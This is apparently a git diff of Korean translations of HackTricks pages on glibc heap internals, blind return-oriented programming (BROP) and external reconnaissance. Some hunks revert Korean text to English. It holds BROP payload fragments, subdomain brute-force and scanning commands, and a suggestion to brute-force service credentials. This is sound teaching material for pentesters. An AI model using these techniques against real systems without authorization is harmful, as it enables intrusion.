정렬되지 않은 **bins**의 **첫 번째 및 마지막 청크**에 대한 **포인터**를 포함합니다 (인덱스 0이 사용되지 않기 때문에 -2입니다). +* 따라서, 이러한 bins의 **첫 번째 청크**는 이 구조체에 대한 **역방향 포인터**를 가지고 있으며, 이러한 bins의 **마지막 청크**는 이 구조체에 대한 **정방향 포인터**를 가지고 있습니다. 이는 기본적으로 **주 아레나에서 이러한 주소를 l**eak**할 수 있다면, **libc**의 구조체에 대한 포인터를 가지게 된다는 것을 의미합니다. * 구조체 `struct malloc_state *next;` 및 `struct malloc_state *next_free;`는 아레나의 연결 리스트입니다. -* `top` 청크는 마지막 "청크"로, 기본적으로 **남은 모든 힙 공간**입니다. top 청크가 "비어" 있으면, 힙이 완전히 사용되었으며 더 많은 공간을 요청해야 합니다. +* `top` 청크는 마지막 "청크"로, 기본적으로 **남은 모든 힙 공간**입니다. 한 번 `top` 청크가 "비어" 있으면, 힙은 완전히 사용되며 더 많은 공간을 요청해야 합니다. * `last reminder` 청크는 정확한 크기의 청크가 사용 가능하지 않을 때 발생하며, 따라서 더 큰 청크가 분할되고, 남은 부분의 포인터가 여기에 배치됩니다. ```c // From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1812 @@ -161,7 +161,7 @@ typedef struct malloc_chunk* mchunkptr; 메타데이터는 일반적으로 0x08B로, 마지막 3비트를 사용하여 현재 청크 크기를 나타냅니다: -* `A`: 1이면 서브힙에서 온 것이고, 0이면 메인 아레나에 있습니다. +* `A`: 1이면 서브 힙에서 온 것이고, 0이면 메인 아레나에 있습니다. * `M`: 1이면 이 청크는 mmap으로 할당된 공간의 일부이며 힙의 일부가 아닙니다. * `P`: 1이면 이전 청크가 사용 중입니다. @@ -177,12 +177,12 @@ typedef struct malloc_chunk* mchunkptr;

https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png

{% hint style="info" %} -이렇게 리스트를 연결하는 방식이 모든 청크를 등록하는 배열이 필요하지 않도록 하는 방법임을 주목하세요. +이렇게 리스트를 연결하는 방식이 모든 청크가 등록되는 배열이 필요하지 않도록 하는 방법임을 주목하세요. {% endhint %} ### 청크 포인터 -malloc이 사용될 때, 쓸 수 있는 내용에 대한 포인터가 반환됩니다(헤더 바로 뒤에), 그러나 청크를 관리할 때는 헤더(메타데이터)의 시작 부분에 대한 포인터가 필요합니다.\ +malloc이 사용될 때, 쓸 수 있는 내용에 대한 포인터가 반환됩니다(헤더 바로 뒤에), 그러나 청크를 관리할 때는 헤더(메타데이터)의 시작에 대한 포인터가 필요합니다.\ 이러한 변환을 위해 다음 함수들이 사용됩니다: ```c // https://github.com/bminor/glibc/blob/master/malloc/malloc.c @@ -258,7 +258,7 @@ req = (req + (__MTAG_GRANULE_SIZE - 1)) & return request2size (req); } ``` -Note that for calculating the total space needed it's only added `SIZE_SZ` 1 time because the `prev_size` field can be used to store data, therefore only the initial header is needed. +`총 필요한 공간을 계산할 때 `SIZE_SZ`는 한 번만 추가됩니다. 왜냐하면 `prev_size` 필드는 데이터를 저장하는 데 사용될 수 있으므로 초기 헤더만 필요하기 때문입니다.` ### 청크 데이터 가져오기 및 메타데이터 변경 @@ -408,13 +408,13 @@ ptr = malloc(0x10); strcpy(ptr, "panda"); } ``` -메인 함수의 끝에 중단점을 설정하고 정보가 어디에 저장되었는지 찾아봅시다: +메인 함수의 끝에 중단점을 설정하고 정보가 저장된 위치를 찾아봅시다:
-문자열 panda가 `0xaaaaaaac12a0`에 저장된 것을 볼 수 있습니다(이는 `x0` 내의 malloc에 의해 응답으로 제공된 주소입니다). 0x10 바이트 이전을 확인하면 `0x0`이 **이전 청크가 사용되지 않음**(길이 0)을 나타내고 이 청크의 길이는 `0x21`임을 알 수 있습니다. +문자열 panda가 `0xaaaaaaac12a0`에 저장된 것을 볼 수 있습니다 (이는 `x0` 내의 malloc에 의해 응답으로 제공된 주소입니다). 0x10 바이트 이전을 확인하면 `0x0`이 **이전 청크가 사용되지 않음** (길이 0)을 나타내고 이 청크의 길이는 `0x21`임을 알 수 있습니다. -예약된 추가 공간(0x21-0x10=0x11)은 **추가 헤더**(0x10)에서 나오며 0x1은 0x21B가 예약되었다는 의미가 아니라 현재 헤더의 길이의 마지막 3비트가 특별한 의미를 가집니다. 길이는 항상 16바이트 정렬(64비트 머신에서)되므로 이 비트는 실제로 길이 숫자에 의해 사용되지 않습니다. +예약된 추가 공간 (0x21-0x10=0x11)은 **추가 헤더** (0x10)에서 발생하며 0x1은 0x21B가 예약되었다는 의미가 아니라 현재 헤더의 길이의 마지막 3비트가 특별한 의미를 가집니다. 길이는 항상 16바이트 정렬(64비트 머신에서)되어 있으므로 이 비트는 실제로 길이 숫자에 의해 사용되지 않습니다. ``` 0x1: Previous in Use - Specifies that the chunk before it in memory is in use 0x2: Is MMAPPED - Specifies that the chunk was obtained with mmap() @@ -470,19 +470,19 @@ return 0; 이전 예제를 디버깅하면 처음에 1개의 아레나만 있는 것을 볼 수 있습니다: -
- -그런 다음, 첫 번째 스레드를 호출한 후, malloc을 호출하는 스레드에서 새로운 아레나가 생성됩니다: -
+그런 다음, malloc을 호출하는 첫 번째 스레드를 호출한 후에 새로운 아레나가 생성됩니다: + +
+ 그 안에는 몇 개의 청크가 있습니다:
## Bins & Memory Allocations/Frees -bins가 무엇인지, 어떻게 구성되어 있는지, 메모리가 어떻게 할당되고 해제되는지 확인하세요: +Bins이 무엇인지, 어떻게 구성되어 있는지, 메모리가 어떻게 할당되고 해제되는지 확인하세요: {% content-ref url="bins-and-memory-allocations.md" %} [bins-and-memory-allocations.md](bins-and-memory-allocations.md) diff --git a/binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md b/binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md index 4b338bbd5..868d8677a 100644 --- a/binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md +++ b/binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md @@ -1,16 +1,16 @@ -# BROP - Blind Return Oriented Programming +# BROP - 블라인드 리턴 지향 프로그래밍 {% hint style="success" %} -Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +AWS 해킹 배우기 및 연습하기:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP 해킹 배우기 및 연습하기: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Support HackTricks +HackTricks 지원하기 -* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기! +* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.** +* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
{% endhint %} @@ -27,28 +27,28 @@ Learn & practice GCP Hacking:

https://www.scs.stanford.edu/brop/bittau-brop.pdf

+

https://www.scs.stanford.edu/brop/bittau-brop.pdf

이것들이 가젯입니다: * `pop rsi; pop r15; ret` * `pop rdi; ret` -이 가젯을 사용하면 함수 호출의 **2개의 인자를 제어**할 수 있음을 주목하세요. +이 가젯을 사용하면 **함수 호출의 2개 인수를 제어**할 수 있음을 주목하세요. 또한, ret2csu 가젯은 **매우 독특한 서명**을 가지고 있습니다. 왜냐하면 스택에서 6개의 레지스터를 팝하기 때문입니다. 따라서 다음과 같은 체인을 보내면: @@ -56,15 +56,15 @@ Learn & practice GCP Hacking: , \<읽지 않는 주소>) -> 충돌 * strcmp(\<읽지 않는 주소>, \<읽는 주소>) -> 충돌 * strcmp(\<읽는 주소>, \<읽지 않는 주소>) -> 충돌 * strcmp(\<읽는 주소>, \<읽는 주소>) -> 충돌 없음 -이것은 PLT 테이블의 각 항목을 호출하거나 **PLT 느린 경로**를 사용하여 확인할 수 있습니다. 이는 기본적으로 **PLT 테이블의 항목 + 0xb** (이는 **`dlresolve`**를 호출함) 후 스택에 **탐색하고자 하는 항목 번호** (0부터 시작)를 배치하여 모든 PLT 항목을 스캔합니다: +PLT 테이블의 각 항목을 호출하거나 **PLT 느린 경로**를 사용하여 확인할 수 있습니다. 이는 기본적으로 **PLT 테이블의 항목 + 0xb**를 호출하는 것입니다(이는 **`dlresolve`**를 호출함) 후 스택에 **탐색하고자 하는 항목 번호**(0부터 시작)를 배치하여 모든 PLT 항목을 스캔합니다: * strcmp(\<읽지 않는 주소>, \<읽는 주소>) -> 충돌 * `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> 충돌 @@ -106,19 +106,19 @@ PLT 테이블은 0x400000 또는 스택에서 **유출된 RIP 주소**에서 검 ### 8. Write 또는 동등한 것 찾기 -마지막으로, 바이너리를 유출하기 위해 데이터를 유출하는 가젯이 필요합니다. 이 시점에서 **2개의 인자를 제어하고 `rdx`를 0보다 크게 설정할 수 있습니다.** +마지막으로, 바이너리를 유출하기 위해 데이터를 유출하는 가젯이 필요합니다. 이 시점에서 **2개의 인수를 제어하고 `rdx`를 0보다 크게 설정할 수 있습니다.** -이를 위해 악용할 수 있는 일반적인 함수는 3개가 있습니다: +이를 위해 악용할 수 있는 일반적인 함수는 3개입니다: * `puts(data)` * `dprintf(fd, data)` -* `write(fd, data, len(data)` +* `write(fd, data, len(data))` 그러나 원본 논문에서는 **`write`** 함수만 언급하므로 이에 대해 이야기하겠습니다: 현재 문제는 **PLT 내에서 write 함수의 위치를 모른다는 것**과 **데이터를 소켓으로 전송할 fd 번호를 모른다는 것**입니다. -하지만 **PLT 테이블의 위치는 알고 있으며**, 그 **행동**을 기반으로 write를 찾을 수 있습니다. 그리고 우리는 서버와 **여러 연결**을 생성하고 **높은 FD**를 사용하여 우리의 연결 중 하나와 일치하기를 희망할 수 있습니다. +하지만 **PLT 테이블의 위치는 알고 있으며**, 그 **행동**을 기반으로 write를 찾을 수 있습니다. 그리고 **여러 연결**을 서버와 생성하고 **높은 FD**를 사용하여 우리의 연결 중 하나와 일치하기를 희망할 수 있습니다. 이 함수들을 찾기 위한 행동 서명: @@ -136,16 +136,16 @@ PLT 테이블은 0x400000 또는 스택에서 **유출된 RIP 주소**에서 검 * [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop) {% hint style="success" %} -Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +AWS 해킹 배우기 및 연습하기:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP 해킹 배우기 및 연습하기: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Support HackTricks +HackTricks 지원하기 -* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기! +* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.** +* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
{% endhint %} diff --git a/generic-methodologies-and-resources/external-recon-methodology/README.md b/generic-methodologies-and-resources/external-recon-methodology/README.md index 4b9e4fd95..d0a196cf6 100644 --- a/generic-methodologies-and-resources/external-recon-methodology/README.md +++ b/generic-methodologies-and-resources/external-recon-methodology/README.md @@ -15,7 +15,7 @@ Learn & practice GCP Hacking: {% endhint %} -
+
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_). @@ -25,7 +25,7 @@ If you are interested in **hacking career** and hack the unhackable - **we are h > 어떤 회사에 속한 모든 것이 범위 내에 있다고 들었고, 이 회사가 실제로 소유하고 있는 것이 무엇인지 알아내고 싶습니다. -이 단계의 목표는 **주요 회사가 소유한 모든 회사**와 이 회사들의 **자산**을 얻는 것입니다. 이를 위해 우리는 다음을 수행할 것입니다: +이 단계의 목표는 **주요 회사가 소유한 모든 회사**와 이러한 회사의 **자산**을 얻는 것입니다. 이를 위해 우리는 다음을 수행할 것입니다: 1. 주요 회사의 인수 목록을 찾습니다. 이는 범위 내의 회사를 알려줍니다. 2. 각 회사의 ASN(있는 경우)을 찾아, 각 회사가 소유한 IP 범위를 알아냅니다. @@ -35,17 +35,17 @@ If you are interested in **hacking career** and hack the unhackable - **we are h ### **인수** 우선, **주요 회사가 소유한 다른 회사**를 알아야 합니다.\ -한 가지 방법은 [https://www.crunchbase.com/](https://www.crunchbase.com)를 방문하여 **주요 회사**를 **검색**하고 "**인수**"를 클릭하는 것입니다. 거기서 주요 회사가 인수한 다른 회사를 볼 수 있습니다.\ -또 다른 방법은 주요 회사의 **위키피디아** 페이지를 방문하여 **인수**를 검색하는 것입니다. +한 가지 옵션은 [https://www.crunchbase.com/](https://www.crunchbase.com)를 방문하여 **주요 회사**를 **검색**하고 "**인수**"를 클릭하는 것입니다. 거기에서 주요 회사가 인수한 다른 회사를 볼 수 있습니다.\ +다른 옵션은 주요 회사의 **위키피디아** 페이지를 방문하여 **인수**를 검색하는 것입니다. > 좋습니다. 이 시점에서 범위 내의 모든 회사를 알아야 합니다. 이제 그들의 자산을 찾는 방법을 알아봅시다. ### **ASN** 자율 시스템 번호(**ASN**)는 **인터넷 할당 번호 관리 기관(IANA)**에 의해 **자율 시스템**(AS)에 할당된 **고유 번호**입니다.\ -**AS**는 외부 네트워크에 접근하기 위한 명확하게 정의된 정책을 가진 **IP 주소**의 **블록**으로 구성되며, 단일 조직에 의해 관리되지만 여러 운영자로 구성될 수 있습니다. +**AS**는 외부 네트워크에 접근하기 위한 명확하게 정의된 정책을 가진 **IP 주소 블록**으로 구성되며, 단일 조직에 의해 관리되지만 여러 운영자로 구성될 수 있습니다. -회사가 **할당된 ASN**이 있는지 확인하여 **IP 범위**를 찾는 것이 흥미롭습니다. **범위** 내의 모든 **호스트**에 대해 **취약성 테스트**를 수행하고 이러한 IP 내의 **도메인**을 찾아보는 것이 좋습니다.\ +회사가 **할당된 ASN**이 있는지 찾아보는 것이 흥미롭습니다. 이를 통해 **IP 범위**를 찾을 수 있습니다. **범위** 내의 모든 **호스트**에 대해 **취약성 테스트**를 수행하고 이러한 IP 내의 **도메인**을 찾아보는 것이 좋습니다.\ [**https://bgp.he.net/**](https://bgp.he.net)에서 회사 **이름**, **IP** 또는 **도메인**으로 **검색**할 수 있습니다.\ **회사의 지역에 따라 이 링크가 더 많은 데이터를 수집하는 데 유용할 수 있습니다:** [**AFRINIC**](https://www.afrinic.net) **(아프리카),** [**Arin**](https://www.arin.net/about/welcome/region/)**(북미),** [**APNIC**](https://www.apnic.net) **(아시아),** [**LACNIC**](https://www.lacnic.net) **(라틴 아메리카),** [**RIPE NCC**](https://www.ripe.net) **(유럽). 어쨌든, 아마도 모든** 유용한 정보 **(IP 범위 및 Whois)**는 첫 번째 링크에 이미 나타납니다. ```bash @@ -75,21 +75,21 @@ You can find the IP and ASN of a domain using [http://ipv4info.com/](http://ipv4 ### **취약점 찾기** -이 시점에서 우리는 **범위 내 모든 자산**을 알고 있으므로, 허용된다면 모든 호스트에 대해 **취약점 스캐너**(Nessus, OpenVAS)를 실행할 수 있습니다.\ -또한, [**포트 스캔**](../pentesting-network/#discovering-hosts-from-the-outside)을 실행하거나 shodan과 같은 서비스를 사용하여 **열려 있는 포트를 찾고, 발견한 내용에 따라 이 책을 참고하여 여러 가능한 서비스에 대한 펜테스트 방법을 살펴봐야 합니다.**\ -**또한, 기본 사용자 이름과** 비밀번호 **목록을 준비하고 [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray)로 서비스를 브루트포스 시도하는 것도 가치가 있을 수 있습니다.** +At this point we known **all the assets inside the scope**, so if you are allowed you could launch some **vulnerability scanner** (Nessus, OpenVAS) over all the hosts.\ +Also, you could launch some [**port scans**](../pentesting-network/#discovering-hosts-from-the-outside) **or use services like** shodan **to find** open ports **and depending on what you find you should** take a look in this book to how to pentest several possible services running.\ +**Also, It could be worth it to mention that you can also prepare some** default username **and** passwords **lists and try to** bruteforce services with [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray). ## 도메인 -> 우리는 범위 내 모든 회사와 그 자산을 알고 있으므로, 범위 내 도메인을 찾을 시간입니다. +> We know all the companies inside the scope and their assets, it's time to find the domains inside the scope. -_다음에 제안된 기술에서는 서브도메인도 찾을 수 있으며, 그 정보는 과소평가해서는 안 됩니다._ +_Please, note that in the following purposed techniques you can also find subdomains and that information shouldn't be underrated._ -먼저 각 회사의 **주 도메인**(들)을 찾아야 합니다. 예를 들어, _Tesla Inc._의 경우 _tesla.com_이 될 것입니다. +First of all you should look for the **main domain**(s) of each company. For example, for _Tesla Inc._ is going to be _tesla.com_. ### **역 DNS** -도메인의 모든 IP 범위를 찾았으므로, **범위 내 더 많은 도메인을 찾기 위해 해당 IP에 대해 역 DNS 조회를 수행할 수 있습니다.** 피해자의 DNS 서버나 잘 알려진 DNS 서버(1.1.1.1, 8.8.8.8)를 사용해 보세요. +As you have found all the IP ranges of the domains you could try to perform **reverse dns lookups** on those **IPs to find more domains inside the scope**. Try to use some dns server of the victim or some well-known dns server (1.1.1.1, 8.8.8.8) ```bash dnsrecon -r -n #DNS reverse of all of the addresses dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns @@ -194,7 +194,7 @@ You could access the **TLS certificate** of the main web page, obtain the **Orga **Assetfinder** -[**Assetfinder** ](https://github.com/tomnomnom/assetfinder)is a tool that look for **domains related** with a main domain and **subdomains** of them, pretty amazing. +[**Assetfinder** ](https://github.com/tomnomnom/assetfinder)은 **주 도메인과 관련된 도메인** 및 **서브도메인**을 찾는 도구로, 정말 놀랍습니다. ### **취약점 찾기** @@ -337,7 +337,7 @@ python3 censys-subdomain-finder.py tesla.com ```bash python3 DomainTrail.py -d example.com ``` -* [**securitytrails.com**](https://securitytrails.com/)은 서브도메인 및 IP 기록을 검색할 수 있는 무료 API를 제공합니다. +* [**securitytrails.com**](https://securitytrails.com/)는 서브도메인 및 IP 기록을 검색할 수 있는 무료 API를 제공합니다. * [**chaos.projectdiscovery.io**](https://chaos.projectdiscovery.io/#/) 이 프로젝트는 **버그 바운티 프로그램과 관련된 모든 서브도메인**을 무료로 제공합니다. 이 데이터를 [chaospy](https://github.com/dr-0x0x/chaospy)를 사용하여 접근할 수 있으며, 이 프로젝트에서 사용된 범위에 접근할 수도 있습니다: [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list) @@ -346,7 +346,7 @@ python3 DomainTrail.py -d example.com ### **DNS 브루트 포스** -가능한 서브도메인 이름을 사용하여 DNS 서버를 브루트 포스하여 새로운 **서브도메인**을 찾아보겠습니다. +가능한 서브도메인 이름을 사용하여 DNS 서버를 브루트 포싱하여 새로운 **서브도메인**을 찾아보겠습니다. 이 작업을 위해서는 다음과 같은 **일반 서브도메인 단어 목록**이 필요합니다: @@ -356,9 +356,9 @@ python3 DomainTrail.py -d example.com * [https://github.com/pentester-io/commonspeak](https://github.com/pentester-io/commonspeak) * [https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS](https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS) -또한 좋은 DNS 해석기의 IP도 필요합니다. 신뢰할 수 있는 DNS 해석기 목록을 생성하기 위해 [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt)에서 해석기를 다운로드하고 [**dnsvalidator**](https://github.com/vortexau/dnsvalidator)를 사용하여 필터링할 수 있습니다. 또는 다음을 사용할 수 있습니다: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt) +또한 좋은 DNS 해석기의 IP도 필요합니다. 신뢰할 수 있는 DNS 해석기 목록을 생성하기 위해 [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt)에서 해석기를 다운로드하고 [**dnsvalidator**](https://github.com/vortexau/dnsvalidator)를 사용하여 필터링할 수 있습니다. 또는: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt)를 사용할 수 있습니다. -DNS 브루트 포스에 가장 추천되는 도구는 다음과 같습니다: +DNS 브루트 포스에 가장 추천되는 도구는: * [**massdns**](https://github.com/blechschmidt/massdns): 이는 효과적인 DNS 브루트 포스를 수행한 첫 번째 도구입니다. 매우 빠르지만 잘못된 긍정 반응이 발생할 수 있습니다. ```bash @@ -420,13 +420,13 @@ python3 main.py adobe.com adobe adobe.rules make_brute_list.sh adobe.rules adobe.brute puredns resolve adobe.brute --write adobe.valid ``` -* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_는 매우 간단하지만 효과적인 DNS 응답 유도 알고리즘과 결합된 서브도메인 브루트포스 퍼저입니다. 맞춤형 단어 목록이나 역사적인 DNS/TLS 기록과 같은 제공된 입력 데이터를 활용하여 더 많은 해당 도메인 이름을 정확하게 합성하고 DNS 스캔 중에 수집된 정보를 기반으로 루프에서 이를 더욱 확장합니다. +* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_는 매우 간단하지만 효과적인 DNS 응답 유도 알고리즘과 결합된 서브도메인 브루트포스 퍼저입니다. 맞춤형 단어 목록이나 역사적인 DNS/TLS 기록과 같은 제공된 입력 데이터 세트를 활용하여 더 많은 해당 도메인 이름을 정확하게 합성하고 DNS 스캔 중에 수집된 정보를 기반으로 루프에서 이를 더욱 확장합니다. ``` echo www | subzuf facebook.com ``` ### **서브도메인 발견 워크플로우** -도메인에서 **서브도메인 발견을 자동화하는 방법**에 대해 제가 쓴 블로그 게시물을 확인해 보세요. **Trickest 워크플로우**를 사용하여 제 컴퓨터에서 여러 도구를 수동으로 실행할 필요가 없습니다: +도메인에서 **서브도메인 발견을 자동화하는 방법**에 대해 작성한 블로그 게시물을 확인해 보세요. **Trickest 워크플로우**를 사용하여 컴퓨터에서 여러 도구를 수동으로 실행할 필요가 없습니다: {% embed url="https://trickest.com/blog/full-subdomain-discovery-using-workflow/" %} @@ -466,10 +466,10 @@ VHostScan -t example.com ```bash ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body ``` -### **버킷 무차별 대입** +### **버킷 브루트 포스** -**서브도메인**을 찾는 동안 **버킷**으로 **포인팅**되는지 주의 깊게 살펴보세요. 그런 경우 [**권한을 확인하세요**](../../network-services-pentesting/pentesting-web/buckets/)**.**\ -또한, 이 시점에서 범위 내의 모든 도메인을 알게 되었으므로 [**가능한 버킷 이름을 무차별 대입하고 권한을 확인하세요**](../../network-services-pentesting/pentesting-web/buckets/). +**서브도메인**을 찾는 동안 **버킷**으로 **포인팅**되는지 주의하세요. 그런 경우 [**권한을 확인하세요**](../../network-services-pentesting/pentesting-web/buckets/)**.**\ +또한, 이 시점에서 범위 내의 모든 도메인을 알게 되었으므로 [**가능한 버킷 이름을 브루트 포스하고 권한을 확인하세요**](../../network-services-pentesting/pentesting-web/buckets/). ### **모니터링** @@ -498,27 +498,27 @@ _서브도메인이 클라이언트가 제어하지 않는 IP 내에 호스팅 **CDN에 속하지 않는 모든 IP에 대해 포트 스캔을 수행하세요**(여기서는 흥미로운 것을 찾지 못할 가능성이 높습니다). 발견된 실행 중인 서비스에서 **취약점을 찾을 수 있을지도 모릅니다**. -**호스트 스캔 방법에 대한** [**가이드를 찾으세요**](../pentesting-network/). +**호스트 스캔 방법에 대한** [**가이드를 찾으세요**](../pentesting-network/)**.** -## 웹 서버 탐색 +## 웹 서버 헌팅 > 우리는 모든 회사와 그 자산을 찾았고, 범위 내의 IP 범위, 도메인 및 서브도메인을 알고 있습니다. 이제 웹 서버를 검색할 시간입니다. -이전 단계에서 이미 발견된 **IP와 도메인에 대한 일부 재콘을 수행했을 가능성이 높으므로**, **모든 가능한 웹 서버를 이미 찾았을 수 있습니다**. 그러나 찾지 못했다면 이제 범위 내에서 웹 서버를 검색하기 위한 **빠른 요령**을 살펴보겠습니다. +이전 단계에서 이미 발견된 **IP와 도메인에 대한 일부 재콘을 수행했을 가능성이 높으므로**, **모든 가능한 웹 서버를 이미 찾았을 수 있습니다**. 그러나 찾지 못했다면 이제 범위 내에서 웹 서버를 검색하는 **빠른 요령**을 살펴보겠습니다. -이것은 **웹 앱 발견**을 위한 **지향적**인 것이므로, **취약점** 및 **포트 스캔**도 수행해야 합니다(**범위에서 허용되는 경우**). +이것은 **웹 앱 발견**을 위한 **지향적**이므로, **취약점** 및 **포트 스캔**도 수행해야 합니다(**범위에서 허용되는 경우**). -[**masscan**을 사용하여 **웹** 서버와 관련된 **열려 있는 포트를 발견하는 빠른 방법**은 여기에서 찾을 수 있습니다](../pentesting-network/#http-port-discovery).\ -웹 서버를 찾기 위한 또 다른 유용한 도구는 [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) 및 [**httpx**](https://github.com/projectdiscovery/httpx)입니다. 도메인 목록을 전달하면 포트 80(http) 및 443(https)에 연결을 시도합니다. 추가로 다른 포트를 시도하도록 지정할 수 있습니다: +**웹** 서버와 관련된 **열려 있는 포트를 발견하는 빠른 방법**은 [**masscan**를 사용할 수 있습니다](../pentesting-network/#http-port-discovery).\ +웹 서버를 찾기 위한 또 다른 유용한 도구는 [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) 및 [**httpx**](https://github.com/projectdiscovery/httpx)입니다. 도메인 목록을 전달하면 포트 80 (http) 및 443 (https)에 연결을 시도합니다. 추가로 다른 포트를 시도하도록 지정할 수 있습니다: ```bash cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443 cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443 ``` ### **스크린샷** -이제 **범위 내의 모든 웹 서버**를 발견했으므로 (**회사의 **IP**와 모든 **도메인** 및 **서브도메인** 중에서) 아마도 **어디서 시작해야 할지 모를 것입니다**. 그러니 간단하게 시작하여 모든 웹 서버의 스크린샷을 찍어보세요. **메인 페이지**를 **살펴보는 것만으로도** **이상한** 엔드포인트를 발견할 수 있으며, 이는 더 **취약**할 가능성이 높습니다. +이제 **범위 내의 모든 웹 서버**(회사의 **IP**와 모든 **도메인** 및 **서브도메인** 중)에 대해 발견했으므로, 아마도 **어디서 시작해야 할지 모를 것입니다**. 그러니 간단하게 시작하여 모든 웹 서버의 스크린샷을 찍어보세요. **메인 페이지**를 **살펴보는 것만으로도** **이상한** 엔드포인트를 발견할 수 있으며, 이는 **취약점**이 있을 가능성이 더 높습니다. -제안된 아이디어를 수행하기 위해 [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) 또는 [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**를 사용할 수 있습니다.** +제안된 아이디어를 수행하기 위해 [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) 또는 [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**을 사용할 수 있습니다.** 또한, [**eyeballer**](https://github.com/BishopFox/eyeballer)를 사용하여 모든 **스크린샷**을 분석하여 **취약점이 있을 가능성이 있는 것**과 그렇지 않은 것을 알려줄 수 있습니다. @@ -532,9 +532,9 @@ cat /tmp/domains.txt | httprobe -p http:8080 